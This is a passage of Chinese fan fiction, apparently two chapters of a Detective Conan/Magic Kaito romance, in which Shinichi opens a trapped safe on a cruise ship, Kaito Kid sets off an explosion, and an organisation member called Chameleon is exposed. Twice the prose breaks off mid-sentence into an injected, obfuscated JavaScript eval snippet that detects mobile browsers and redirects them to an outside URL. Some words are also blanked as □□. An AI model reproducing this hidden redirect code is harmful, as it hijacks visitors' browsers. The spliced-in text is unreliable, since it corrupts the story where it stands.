乌鸦在那个凛冬午夜的诘问再一次回荡于工藤新一的脑海中。 答案其实早已被对方知晓,因为他是全世界最了解工藤新一的黑羽快斗啊。 “因为我无法对自己的宿命视而不见,那个选择唤醒你的黑羽快斗也是,所以,我不觉得自己有什么可悲的,也不想仅凭过去的那些经历就放弃未来的无限可能性。” 在对方仿佛吞了剑一般唐突降临的缄默中,工藤新一低声说: “不要逃避自己的命运,快斗。” 25.File 25 “就算想逃……我也早已无处可逃了。” 黑羽快斗写满了固执的眼神终于舍得从倒影中那个狼狈不堪的自己身上移开,转而移向观景窗外即将燃烧殆尽的海平线,浅蓝的眸子倒映出无垠的天,倒映出深邃的海,也倒映出逐渐熄灭的残阳,瞳仁深处摇曳的光芒宛如夕晖般暗淡朦胧。 他罕见地想起恍如隔世的回忆,那些久远而不愿回想、视若至宝又渴望永远独占的,在美丽月色下无数次短暂却激烈的追逐和对决,那些只属于怪盗和名侦探的期间限定的夜晚,忽地缥缈地笑了笑。 拥有你的午夜,短暂却绮丽。 失去你的午夜,漫长而单调。 岁月光阴对于人类究竟有何意义?时间悠悠流逝,斗转星移皆为定数,如果只为了汲汲于生,亦或汲汲于死,何其无聊。 他从来都不屑于漫无止境的人生,永生对他毫无意义。 有意义的是他所爱的人,在当下这个瞬间,他就在这里。 似乎捕捉到了宿敌罕见的动摇气息,工藤新一的眼神骤然凛冽。 “既然如此——” 那你就早点认输被我抓住! 只是完整的话还未出口,对方就仿佛心有灵犀般地同时哼笑了一声,毫不客气地回道:“你休想如意。” 落在阴影之中的眼眸掠过一丝深意。 正因为对手是工藤新一,黑羽快斗才绝不能妥协。 哪怕他早已无路可逃,也绝不会向命运认输。 黑羽快斗从不畏惧穷途末路,他所抗拒的只是一切故事都草率结束。 合上世人眼中光鲜亮丽的完美剧本,曾经满身荣光的主角被所爱的人放开了过去一直紧握的那双手,然后被重要的人逐渐遗忘在时间的长河尽头,到最后,所有自己珍视和保护的人们都从身边离去,世上没有哪种绝望能与这般深邃的孤独相提并论。 “唯独你工藤新一,我的名侦探……” 在无人可见的瞬间,将脸庞藏在衣领里的少年无意识地流露出了执拗又悲伤的表情,他没有注意到自己提起宿敌名字时的神情、语气变得有多么温柔,充满了无法言喻的情与爱。 黑羽快斗原本能够完美无缺地麻痹自己,就算心中的伤口太多,只要遗忘就能悉数回避。他在漆黑无光的岁月里踽踽独行,编织了无数的谎言欺骗旁人也欺骗自己,竭尽全力在自己周身打造出堡垒一般的铜墙铁壁,把一颗不断流血的心脏冻结埋葬,然后将其藏匿在一个谁也无法寻觅的世外之地。 随着内心与这个世界的联系被层层封闭、变得越来越微弱,他也不再动摇和痛苦。 但是,爱着工藤新一的感觉于黑羽快斗来说就是剖解自己的心魂。 与宿敌的相会让他一度冰封的感情无法自主地开始融化,曾经几近死去的那颗心脏,再一次传来跳动的声音,五脏六腑都能听见血液重新回温沸腾的回响,炙热的、疼痛的、盛大的,伴随那些从未疗愈过的伤口中流淌的脓液一起,拥挤得他的血管都快爆炸。 “……永生永世,我都不会让你抓住。” 在那一个极为短暂的瞬间,海市蜃楼般潮涌而至的爱与绝望几乎要将他整个人溺亡。 黑羽快斗轻轻闭了一下眼睛。 仿佛是藉由这个动作,重新封印了自己几近满溢的情感,他声音中未尽的尾调染绘了一层蛊惑的笑意,捏住帽檐的手指轻轻下压,藏住一双长久独行于黑夜深处的寂静眼睛,再将唇角上扬,脸孔涂上名为笑容的粉底。 这样的话,你就会永远心无旁骛地在我的身后追赶,直到一切迎来终极吧。 后半句话他奉行自己的秘密主义藏在心里没有诉诸于口,连同最后一个还未被侦探彻底破解的谜题一起。 作为怪盗,黑羽快斗隐匿自身气息的水准早已臻于化境。就在工藤新一从他缱绻如旧梦的温柔声调中恍然惊醒,转过身去寻找他身影的时候,对方早已从容不迫地混入人群,消失于宿敌的视野中。 “那个混账……” 侦探懊恼地咬紧牙关,站在原地,想着他此次特意提及的异变话题,神情逐渐转为若有所思。 夕阳被远海吞没后,当黄昏逐渐褪去,翻向另一个世界,黑夜以燎原之势覆盖了整片海域。 涛声伴随着星光在起伏的海浪当中明灭闪烁,海天趋于一色,点亮了所有光源的莎莉贝丝皇后号便成为无垠海洋中一颗珍贵的明珠,灯光蓬勃闪耀,璀璨如荼,仿佛誓要照亮这个夜晚。 万年一遇的彗星奇观早已成为今夜热议话题,船上领班特地嘱咐侍者打开所有观景窗前的纱帘,于是一整层展厅仿佛失去了边界,漂浮于海面。 工藤新一抬起眼睑,视野的近处是高脚杯折射的一簇明光,与天顶上方光泽璀璨的水晶吊灯遥相呼应,身着浅蓝西装的侦探单手插兜,从会场的边缘悄然走过,视线随意地逡巡着,刘海下的眼眸也如海一般,澄澈又明晰,干净地倒映出宾客们盛装出席的热闹身影。 虽然前两天船上才发生过一起杀人事件,但由于顾虑危险的乘客早已跟随海上保安厅的舰船返航,怪盗带来的风波又向来受人欢迎,剩余的人几乎都选择了在这次展览会上盛装出席——倒也正常,毕竟他们都是历经严格筛选才有幸登上这艘邮轮的名流人士。 关键也在于这所谓的“筛选”。 工藤新一抬起杯子靠近下唇呷饮一口,冰冻过的酒浆淌过干渴了一日的喉咙,喉结微动,修长颈线延伸到翻折的衣领下方,几乎能感觉到冷酒流入身体后挥发溶解的过程,却依旧无法缓解侦探精神上太多的意犹未尽。 他舔过上唇,回味着弥留于舌尖那抹冰凉辛辣的味道。 利用铃木财阀的金字招牌,受邀人选基本涵盖了社会各界的风云人物,汇聚而成的影响力足够辐射全球,牢牢吸引着各方有心人士的视线。 尤其是,那些密切关注着潘多拉下落的幕后大人物。 临近开场,手执话筒的主持人很快妙语连珠地炒热了氛围,侦探将酒杯递给经过的侍者,过了一会儿便有人附耳提醒他宝石的启封仪式即将开始。 工藤新一夺回怪盗所窃宝石的先例不胜枚举,警方对他的能力信任到了不疑有他的地步,中森警官对他自告奋勇去打开保险箱的提议乐见其成,只是跃跃欲试地想要伸手试探他身份的真假。 工藤新一避开他的手,轻轻摇头,只似笑非笑的一句话,就打消了中森警官的怀疑。 “那家伙既然胆敢这么兴师动众地发出战书,必然也有与我正面对决的魄力。” 傲慢不羁的怪盗与智珠在握的侦探,共演了一场跨越世纪的对抗与追逐,他们之间的对谈早已凌驾于本该身为主角的宝石,赌上彼此的信念和尊严。 面对这样一对不同凡响的宿敌,面对工藤新一跃然浮现出战意的眼睛,中森警官无言以对。 “如果您没有意见,我就先走了。” 侦探礼仪周全地说道,在他转过身的那一瞬间,轻压下去的睫羽掩住了眼底暗转的流光。 黑羽快斗藏在潘多拉盒子深处的秘密,真相只能由他来解开,也只有他能解开。 夜八点,展览会正式开始。主持人站在距离玻璃展柜入口不远处的位置,尽职尽责地为观众们介绍和解说宝石历任持有者的故事。 “……由于上一任持有者生于战火纷飞的乱世,为了给子孙留下传家的遗产,那位先生将宝石封入这个独特的保险箱中,分成两半的钥匙由他的挚友和亲子分开保管,后来由于其中一半沉入海底,他留下的宝藏也一度被视作是‘再也无法重见天日的宝石’,直到今天,将由当代最伟大的名侦探——工藤新一先生为诸位解开这尘封百年的世纪之谜!” 伴随主持人高举手臂的动作,近处灯光全暗,只有一束打光汇聚于工藤新一的周身,冷光沿着他鼻骨优美的弧度流淌下来,照亮侦探先生那张惹得人心神恍惚的俊秀脸庞,迎着众人瞩目的灼灼视线,他唇边勾出一个礼貌又疏离的微笑。 “各处警备已经全数到位了吗?” 中森警官站在一层的后场,面色紧绷地注视着侦探从入口进入玻璃展柜,抬手按住耳麦,询问他的同伴。 “报告警官。”他的副手很快回答说,“全员已经就位。” 中森警官满意颔首:“接下来才是重头戏,大家都要提高警惕,尤其要避免园子女士失踪的先例再次出现。对了,铃木耕生和那位留下来的香港商人呢?” “早上的时候铃木先生是说嘉先生由他全程招待。” “现在他们的位置在哪儿?” 耳机中传来一阵小跑的声音和细碎的谈话声,大抵是副手向部下询问的动静。中森警官不满地皱了皱眉头。那二人都不算小角色,前有铃木园子的前车之鉴,居然还没有人实时确认他们的动向吗?要不是他忙于部署防卫怪盗的工作,一定要狠狠教训这些粗心大意的小子。 他勉强按捺住发作的冲动,经过一阵短暂的等待,忽然听闻通讯那端传来副手略微意外的回答。 “警官,嘉先生没有参加晚宴。” “什么?” “是耕生先生跟我们说的,好像是对方午餐过后略感不适,就借用他的客房休息去了。我刚请监控室的值班同僚查看记录,确实下午铃木先生带他到梅花A套房休息以后,他就没有外出过。” 这番解释听起来似乎合情合理,可不知是由于什么原因,中森警官的心中反而涌现出更加强烈的不祥预感。 在这所有人的注意力都聚集于展厅的紧要关头,一个外来者忽然离开众人的视线,无论是想趁机做什么手脚,还是别人想趁机对他做些什么,都再方便不过了。 他越想越是无法忽视其中的巨大风险。 “监控有可能作假,立即派一个人去套房查看情况。”中森警官忙说。 一定别再出现疏漏啊。中森警官暗自祈愿,内心却越来越没底。 就在这时,一名便衣警员靠近他的身侧,悄悄说:“警官,按照您的部署,我们已经做好准备了。” 不好的预感好像立即就应验了。 “部署……什么部署?”中森警官的表情顿时扭曲了一下,意识不到自己的声调与音量也跟着一同失控,“我什么时候给你们下了指示?” “就在刚才啊。”警员莫名其妙地说,“您不是专程到甲板上嘱咐了我们的巡逻队员吗?” “开什么玩笑,我一直就在场内!” 在二层一个被设计成悬空结构的露台上,只有一人悠闲地坐在贵宾席位。 那是一个能将展厅会场都一览无余的优越位置,聚光灯下侦探穿过人群的身影自然也被尽收眼底。 不是没有注意到楼下出现了一阵微弱的骚乱,但年轻人的神色不变,唯有唇角的笑容极为隐蔽地流露出轻蔑之意。 多半是那些糊涂警察又被Kid耍得团团转。 他不以为意地心想,转头注视着下方的眼睛微眯。 “来吧,工藤新一。” 铃木耕生举起手中的玻璃酒杯,将杯中流淌和摇晃的深红色酒液倾倒而下,隔着一段虚空,视觉上就仿佛是血河将侦探淹没。 红酒顺着白色的桌沿嘀嗒下落,对方毫不在乎自己的衣角被飞溅的液体湮湿,将空了的酒杯随意丢到桌上,扯松领带,单手解开太过束缚的外套扣子,迫不及待地起身快步走到栏杆前然后前倾身体,用只有自己才能听见的声音低语道: “就由能够破解一切谜题的你,把潘多拉的秘宝带到这个世间来吧。” 此人正是乌鸦麾下另一名元老级组织成员——变色龙。他曾在汐留火案中与其他同伙一同将怪盗Kid逼上末路,后来为了追求永生之药而转投为乌鸦的下属并为其效力。转眼十年过去,如今他遵照乌鸦的吩咐潜入香港本土商会,原是为了寻觅金库,后来因为工藤新一横插一手,宝石变成两地背后交易的筹码,他便化名为嘉先生趁机跟随商会团一同出海。 当变色龙登船时,得知身体有恙的铃木园子被一名涉世未深的年轻小子代替出席,唇边不禁勾起冷笑。这简直是命运馈赠的完美契机。他以身体不适为由将毫无戒心的铃木耕生引至客房,在门锁闭合的瞬间,变色龙的手刀已劈向对方后颈。望着瘫倒在地的青年,他从容地套上□□——虽然很遗憾时间不够他当场处理这个隐患,但待至关重要的今夜过后,变色龙有的是机会让这个人彻底消失。 相较于身为外来者被警方重点监控的嘉先生,铃木耕生在这艘船上可谓是到处都畅通无阻。不过变色龙变装成对方的目的也不仅如此,一旦保险箱被工藤新一开启,他将以铃木财团嫡系成员的权限堂而皇之地接管宝石。至于最近莫名其妙死而复生的怪盗,无论是赝品作祟还是亡灵重生,都让那神通广大的侦探去解决吧。 但一切会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672468|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如变色龙料想的那般顺利吗? 一个毫无死角的透明密室在工藤新一的身后缓缓闭合,无处不在的炫目光色簇拥于他的足下,游鱼一般地灵活游动。侦探的脚步没有停顿,只是在登上台阶的间隙侧眸看了眼玻璃之外跃跃欲试的无数观众,随后在众人的瞩目中,他取出此前怪盗奉还给铃木财阀的钥匙。 黑羽快斗在取得这钥匙时,就对其材质、结构,以及当中隐藏的机关密文都进行了巨细无遗的调查。 20世纪初的英国冶金专家亨利·布雷尔利开发出一种含铬的合金钢,这种钢材具备前所未有的耐腐蚀性能,伴随着日不落的帝国将旗帜插满他们征战掠夺而来的领土,这一前所未有的材料也伴随着霸权的扩张迅速风靡全球。 恰逢那个阶段的港岛沦为了英属的海外飞地,作为东亚代表性的大港口,香港集散了全世界最新潮的工业产品。虽然对当地的岛民来说,这是一段丧失主权的屈辱历史,但客观来看,港口贸易的发达也带动了当地的科技和经济腾飞发展。当年与“五号金库”签署了百年合约的人,追溯其发家先祖,就是当时一位手腕不凡的豪富商人。 据说宝石是那位商人在生意最为鼎盛的时期重金购得的珍宝之一,那个时代正是全球战火纷飞的乱世,此前宝石转手的详细资料都不可考。后来20世纪中叶日军进犯港岛,掠夺了岛上大量的财富和人口运回日本,最终货运船却沉没于青浜岛附近的海域——那艘沉船,便是去年被打捞的里斯本丸号。 当以为自己来自过去的黑羽快斗在墓园与工藤新一相遇,怪盗淑女便根据他封印记忆以前的指示,向被香港商人赠予半枚钥匙的铃木财阀和工藤家发出了怪盗Kid暌违十年的夺宝预告,借此引诱那个失去记忆的自己主动走进棋局。 黑羽快斗取得半枚钥匙后,立即对其材料和结构进行了精密检查。他发现钥匙的内部存在一个密文条,只有拼合完整才能将其取出,因此又冒险取得了被收藏于东京美术馆的另外半枚钥匙。 但哪怕那时的黑羽快斗得到了完整钥匙,他依旧对如何解开当中隐藏的谜题毫无头绪。 工藤新一将金属的两半部件以榫卯咬合的形式旋转和扣合,伴随轻微的“咔嚓”一声,他从圆柱形的锁芯中抽出了原本不可拆解的密文条。 总共有11个外层刻印着许多乱序字母的金属圆环被套在一根金属杆上,圆环不可拆卸,却能够通过拨动圆环改变每一排的字母组合,是一种相当古典的加密装置,被称为“杰弗逊圆盘”。 由于圆环上各行的字母各不相同,当其中一行被排列为所需传递的密文时,其他行也会相应地排列成不同的组合,因此只要任选其中某行的内容作为提示提供给他人,对方就可以利用同样的装置再现出相同的密文。 问题在于——提示该如何寻觅? 将钥匙插入锁孔中,旋转过半圈,工藤新一打开沉重的外门。 外面顿时一片哗然,因为外门被他开启之后,保险箱内竟出现了一道内门,上面被嵌入了一个计时的装置,在外门被开启后赫然开始倒数。 这是一个鲜为人知的设计,也是香□□帮那边如此干脆答应交易的原因之一。保险箱的交接文件中有一份说明,介绍了保险箱的内层构造。 当中被分隔成了三个密闭区域,中心用来放置宝石,而外部两侧包围宝石的空间则被灌装了大量的化学试剂,一旦保险箱被使用钥匙以外的方式错误开启,或者使用暴力手段破坏保险箱,都会破坏两种试剂的密封结构,使试剂灌入宝石所在的中心区域,引发剧烈的爆炸。 混合型□□,要说爆炸原理其实非常简单,就是利用化学反应。 设计者将两种原本性质稳定的化学试剂分别灌装到完全隔绝的不同容器中,然后在引爆炸弹的时候解除两种试剂的密封装置,使泄露出来的溶液融合,其中的成分就会产生剧烈的化学反应,并引发灾难性的大爆炸。 然而,就算连普通人都能理解其中原理,只要避免两种试剂的融合,□□就不会引爆,但从实际情况来看,由于两种试剂的存放管道以相互缠绕的形状布满保险箱的内层,暴力拆解几乎是不可能完成的任务。 而且一旦操作不慎引发了爆炸,不仅宝石极有可能在爆炸的超高温中腐蚀变质,连附近的人都可能面临生命危险。 钥匙不在香□□帮手中,他们留下保险箱毫无意义,强行破箱只会破坏宝石,不如用来交换其他利益。 但对交易另一方而言,也只有工藤新一有能力破解这个谜题。 铃木耕生双手紧握扶栏,身体前倾,迫切地伸长脖子盯视着处于玻璃牢笼中央的侦探。 “快!让我看看你的本事吧,工藤新一。” 倒计时只有短短30秒,一旦归零或输错密码就会引爆炸弹,没有给开启的人留下犯错的机会,而工藤新一的眼神平静,神情没有丝毫意外和犹疑,手指伸向密码键盘输入答案—— 提示其实非常明显,那些人的目标是潘多拉宝石,而潘多拉的秘密只在月光下才会揭晓。 月光,英文单词的moonlight只有9个字母,但如果替换成法语的clair de lune就满足了11个字母的要求。 而在月光的对面,展现出来的另一组11个字母的法语单词则是—— Mon inconnue. 翻译过来的意思是,我的未知。 在某一个为乌鸦的阴谋而辗转反侧的风雨夜里,工藤新一曾独自站在格外寂静空旷的房间,长久凝视着自己亲手揭开的谜底。 他想起过去的怪盗,曾经傲慢地暧昧地诱惑地对他说: “你就像爱着谜题一样爱着我,对么?” 无论何时。 无论立场。 哪怕一别经年,物是人非。 然后在侦探无法穷尽的十年长梦里,那比月光更加洁白的幻影被风中猎猎作响的漆黑斗篷所取代,在他看向他的时候,对方也同样投来对等的视线,阴影深处的冷蓝色眼睛一点点盈满危险的笑意。 当他们目光交织的那一刻,时光长河涌动着激烈的爱恨情仇。 他的黑羽快斗说:期待与你再会。 因为,谁让你总是那么轻而易举地。 破解我内心无处可诉的秘密,以摧枯拉朽之势摧毁我的一切防御。 让我不可自拔地钟情于你。 26.File 26 谜题之门终于开启。 在指尖触碰到宝石之前,工藤新一先摸到下方一行陈旧生锈的镌刻字迹。 “Look to yourself,the devil is loose.” (多加小心,恶魔已重临世间。) 这回是英文的讯息么?侦探眉心一紧。 他只用了微不可察的一瞬就读出了内容,因此几乎无人注意到工藤新一极不起眼的停顿,人们的视线都聚焦在他随后向全世界高举的宝石上。 沐浴在万丈华光的中心,有的人情不自禁地举起相机,镜头聚焦于从工藤新一的手指间流泻下来的光河,由上百颗小钻石与白金连接成一条流光溢彩的项链,将最下端承托的一颗接近300克拉的稀世蓝钻映照得璀璨无比。 在这几秒令人屏息的寂静中,连惊叹都凝滞在喉间,唯有观景窗外一轮清冷的白月静静沉浮于海浪之中。 夜色渐浓,无处不在的银白色辉光吞噬了暗礁遍布和游鱼潜伏的深海,让视野只余一片圣洁的纯净之色。 展厅二层的悬空露台正是个优越至极的观景之地,视野自上往下,能看见窗外银光粼粼的大海,也能看见侦探举起项链的瞬间,摇晃的钻石中心赫然浮出一抹若隐若现的红光。 顿时场中有极少数人脸色骤变。 世上具备此项特征的大宝石,唯有传闻中的魔石潘多拉! 在这些通过铃木家筛选的船客中,不乏真正知晓潘多拉秘密的人物。他们有的是一些领域久负盛名的佼佼者,从私人渠道听闻过暗世界流传已久的传说,有的是某些位高权重之人的代行者,妄图从这千载难逢的机遇中分一杯羹。 此刻他们面对近在咫尺的永生诱惑,眼中骤然涌现出贪婪之色。 但变故就在这同一时刻发生。 一道白色的光贯通了人群簇拥的广场上空,当人们的目光循之而去,只见高处一只戴着白色手套的手轻轻捏住自空中飞来的礼帽,随后手臂横在腰前,在戴起礼帽之前优雅地欠身致礼。 单片镜连接着一枚四叶草吊坠,悬在半空轻轻摇曳,线条干净的下颌上方是神秘莫测的从容微笑,宣告着犹如不死之身的都市传说,历经多年沉寂以后再次随心所欲地扰乱人心。 “难以置信……居然真的出现了!” “是Kid,Kid出现了!” “他竟与十年前影像中的模样毫无差别!这太匪夷所思了,难道他真的穿越了时空不成?” 怪盗对人们的众多议论置若罔闻,将双手插进裤兜,盛气凌人的眼神如同挑衅一般无所畏惧地迎向工藤新一的凛然视线,交汇之处仿佛炸开电光火花,灵魂被背水一战的决意灼烧得刺痛。 ——Kid,犹如上帝遗弃之子的幻影,他宛如彼得·潘一般的宿命对手。 却妄图凭着一己之力粉碎永无岛的魔咒,让世上不会再出现无法长大的孩子,杜绝这桩可悲的时间魔法再度摧毁任何人的人生。 可是,在这一意孤行的十年之中,你可曾有一分钟一秒钟想过自己? 名扬四海的侦探以目光质问纵横天下的怪盗,对方也垂下眼睑用同样复杂的眼神凝望他。如何才能让所有人都能幸福?世界上最聪明的两个人却因同一个难题陷入自囿,无处寻觅绝对正确的答案。 那就让我们为各自的信念而战吧。 黑羽快斗拔枪的速度快到常人几乎看不清的地步,连接铁钩的绳索还未射中悬空的水晶吊灯,他就已经跃出半空,随后而至的子弹只来得及贯穿怪盗逐渐消逝的残影。 高处的变色龙手指紧扣扳机,眼底的杀意愈加浓重。 接二连三的变故使展厅越加喧嚣,大厅中的呼声伴随枪响转为惊叫,在中森警官气急败坏地喝令部下寻找开枪者的时候,只见怪盗本尊从高空俯冲而下,利用绳索的拉力荡了一个半圈,然后翻身立于吊灯之上,迅疾轻盈的动作犹如挣脱了重力的牵引。 “想阻止我么?”短暂站定的间隙,他还游刃有余地抛出一声挑衅意味十足的笑问。 然而就算是在此刻,对方的目光依旧傲慢顽固地只投向远处孤身孑立的侦探,眼神仿佛无声诉说着唯有他们彼此才能理解的话语。 旋即这人连开五枪破坏了地面安装的热感应电击装置,最后一枚扑克像是刀切豆腐一般深深地没入大理石地面,生生止住了台上主持人在此期间突然冲向玻璃展柜的脚步。 场上无人能够动作,唯有那枚扑克锋利的金属边缘伴随震颤微微摇晃,折射出魄力十足的森然冷光。 时间在这突然延长的一两秒中好似毫无预兆地坍塌成了黑洞,让人的思维、感知乃至周围空气都被扭曲到一个绝对静止的空间里。 黑羽快斗眼睛微眯,紧接着又开一枪。 这一枚破空而至的扑克携着极强的威力,仿佛挣脱了物理定律的桎梏,抢在主持人的指尖触及门缝前,精准穿过0.5毫米的间隙,来势汹汹地袭向展台中央侦探的面门。 不好。 工藤新一躲开的瞬间敏锐捕捉到怪盗帽檐下方志得意满的狡诈笑容,被他足下过于明亮的光源映照得极不真切,但周身涌动的气息却比神情更加鲜明。 他心生警惕,奈何扑克比思维流转的速度更快,挟着烈风划过侦探的脸侧,割断了他颊边的几根扬起的发丝,然后目的明确地射进保险箱中,距离极近,能够清晰地听见里面传来什么破碎的声音。 工藤新一蓦地意识到什么,一阵森寒电流窜过后颈。 糟了! ——那是□□的密封装置被破坏的声音。 来不及做出任何挽回措施,工藤新一猛然骤缩的瞳孔倒映出保险箱黑黝黝的深处炸开极致刺目的白色光线,他下意识地退后一步,连抬手遮掩也来不及,身影就被猛烈扩散的白光彻底吞噬。 “别忘了这不仅是我们时隔十年的正面对决,还是乌鸦的最后一次杀人计划。” 黑羽快斗用自语的音量轻声道,声音里漫出藏不住的温柔和情意。 “名侦探,是我赢了。” 简直有如地狱里才能看见的图景,漆黑的浓烟冲天而上,剧烈翻涌的赤红火色充斥于玻璃展柜的内部,强烈的爆炸巨响伴随着脚下猛烈的摇晃,不留余地地泯灭了在场所有人心中的侥幸。 尽管玻璃展柜号称采用了世界最尖端的科技,所使用的是连子弹都无法留下痕迹的硬化玻璃,在爆炸中完好无损,但血肉之躯的人类置身其中,哪怕他是拥有逆天智谋的工藤新一,也绝无任何生还的可能。 骗人的吧。 哪怕亲眼目睹了一切,感情上却怎么都难以接受事实。熊熊火光将在场人们愕然失语的脸庞映照得明灭不定,也将怪盗极蓝的眼睛烧成冷酷与灼热交织的颜色,熔炼成了孤注一掷的决意。 邮轮在第二次爆炸中发生的剧烈摇晃终于打破了会场陷入惶恐惊骇的短暂死寂,一名船员惊慌失措地闯入厅内,说船舱下层被定时炸弹炸开了墙壁,底层已经开始漏水,一切秩序顿时如面临海啸般在刹那间土崩瓦解。 “炸弹?没有人事先发现吗?!” “糟糕了,漏水以后沉船只是时间问题,这艘船要完了……” “开什么玩笑?我才不想死在这里!” “救生船在甲板,大家快逃啊!” 灾难迎头,众人百态横生。 诸多突变顷刻之间应接不暇地接踵而至,简直叫人的头脑和手脚都反应不及。 一名女子差点被混乱的人群冲撞倒地,被中森警官及时地扶住了手臂。他没有时间多说什么,甚至无暇分神注意那位贯穿他刑警生涯的对手。中森警官下一秒转过身去,扬手组织部下们疏散慌乱不堪的人群。 从二层可将诸多乱象尽收眼底。 “该死,那群蠢货!” 变色龙气急败坏地低咒一声,丢开打空的弹夹,想不通怎么有人胆敢在这远海孤船上布置炸弹,这是要致船上所有人于死地吗? 如今潘多拉陷入爆炸的正中心,绝不可能保存完好。而且这片海域下方有极深的海沟,一旦邮轮沉没,就是神仙在世也不可能将沉船里的东西再打捞回来。 是你动了手脚吗?乌鸦! 变色龙恨得咬牙切齿。 乌鸦本就在组织中以神秘著称,自他十年前踩着抹杀怪盗Kid的功绩上位,得到BOSS的重用,变色龙就越发对这个手段莫测的人物感到忌惮。 所幸对方似乎在那次事件中受伤不轻,变色龙便假装接受乌鸦的招揽,同时不断收集他党同伐异的证据,暗中向BOSS通风报信。 可恨BOSS比变色龙想象中的更加信赖那个巧言令色的狡诈之徒,迟迟未下决心剿除乌鸦的党羽,但这也更加激化了变色龙心中对乌鸦的嫉恨,不会有人比为他做事的自己更清楚乌鸦早有异心——他在循序渐进地摧毁组织。 目的? 从他近年屡屡大手笔的布置中,似乎也隐约能窥见个中脉络。 乌鸦在寻找潘多拉,他想要先于所有人夺得那个传说中的魔石,然后将其据为己有。 常人对于自己亲手推导的结论,很难在中途扭转成见。变色龙蛰伏十年,更是从来对乌鸦的目的深信不疑。曾经葬身烈火的怪盗如少年一般天真固执、过分心慈手软,毫无乌鸦杀人诛心的狠绝与戾气,早被变色龙抛到脑后去了。 然而此刻发生的变故却完全超出了他的认知。 可既然乌鸦打算独占宝石,又怎么可能选择引爆炸弹,将工藤新一连带着最重要的潘多拉一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675883|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同毁灭? 所有疑问在他看向那个风度翩翩的白色身影的瞬间似乎又迎刃而解。 除了真正的怪盗Kid,世间又有何人能拥有如此不可一世的风华? 好似孤山皓月的气质,撕开了凛风如刀的惊险长夜,让无情的时间沙漏也不禁在他的周身放慢了沉降的速度,一眼望去,仿佛定格了无数富丽堂皇的传奇岁月。 真是不可置信,你竟然当真舍弃了自己所拥有过的一切,放下了自命不凡的骄傲与清高,隐姓埋名,坠入充满了污浊的黑暗世界。 不惜一切代价。 只为了从根源彻底地摧毁我们,还有那颗害得黑羽盗一惨死的潘多拉宝石。 “真有你的啊……” 牙齿因屈辱和憎恨被咬得咯咯作响。 一瞬间过去种种如走马灯一般掠过变色龙的脑海。 在此之前,如非乌鸦故意让他调查钥匙的情报,变色龙就不会贸然参与青山狙杀案,更不会被那个侦探察觉到他对钥匙的过分关注,失去暗中抢先下手的机会。 若非提前抢夺钥匙的计划功亏一篑,组织的行动也不至于在后来怪盗预告带来的外界瞩目中变得越来越被动,眼睁睁地坐视宝雷彗星经过地球的时机日渐迫近,直到最后,只剩下一个选择: 破釜沉舟,背水一战。 变色龙终于面露狰狞。 但在他将枪口对准前来阻止自己的警员之前—— 黑羽快斗蓦地将视线转向他。 “藤野。” 没有掺杂任何情绪的一个称呼,声线却微妙地渐次变调,变色龙瞳孔骤缩,浑身剧烈地颤抖了一下。 这是他的本名,只有组织的BOSS知晓。但是凤凰上一次如此称呼他……已是两年前,组织中两派斗争到了白热化的时期。 那时BOSS压下了变色龙的暗中告密,选择了将一人之下的权柄交予比他年轻英俊的、擅长蛊惑人心的乌鸦。 此后BOSS便愈加深居简出,变色龙知晓那是因为凤凰的身体每况愈下,已然到了沉疴不起的地步,只有潘多拉才能为她逆天改命。 所以……为什么?为什么乌鸦会知晓这个名字? 他一时方寸大乱。 无法置信。 为什么怪盗的声音、语气,乃至帽檐下若隐若现的俯视眼神都和BOSS相差无几? 变色龙曾以为是BOSS错信小人,但现在另一种更为可怕的可能性似乎伴随此人意味深长的口吻开始浮出水面。莫非BOSS早已被他所害,取而代之…… “你……究竟是谁?!” 变色龙持枪的手愈加不稳,连被打落手枪然后让警员按倒在地也只顾着挣扎抬头看向空中的人,他的所有筹谋所有信念像是在一夕之间荡然无存。 杀人先诛心,这是乌鸦一贯的狠绝作风。 所以你究竟是谁? 乌鸦?怪盗?凤凰? 黑羽快斗没有回答,平静的眼色就像是习惯了注视烟火的天空,任由最后一丝光芒燃烧殆尽,徒劳地在他瞳孔深处破败寂灭,没有留下任何痕迹。 虽然他到最后都未曾施舍给变色龙真正的答案,却在离开前讽刺至极地说了一句:“没有为真相粉身碎骨的觉悟,就别把自己当成侦探。因为凡事都追根究底是很辛苦的。” 揭破秘密的人,要是没有容纳这个真相的器量,一定会坏掉。 所以就算实际上早已沦落到可悲的境地,也不如被谎言构筑的世界彻底欺骗。 这样的话,起码还能得到浅薄的幸福。 “滴——” 预先设置在地下船舱的炸弹闪烁着猩红的灯光,随着指令逐一启动,随后产生的剧烈气浪炸开了房间的障壁,肆无忌惮地撕扯着愈加千疮百孔的船体,破坏甚至蔓延到海水尚未吞噬的上层,大理石的地面开始绽裂和坍塌。 展厅中成片的观景落地窗在爆炸中破碎,白色纱帘被气压卷到外面,浓烟翻腾的尽头是展台上燃烧不熄的劫火。 一切发生得太快,场内仍有人还未来得及逃生离开,忍不住在狂风中回头,只见纯白的怪盗从高处一跃而下,孤身一人地、义无反顾地,步入煌煌烈烈的火浪深处。 “快斗……” 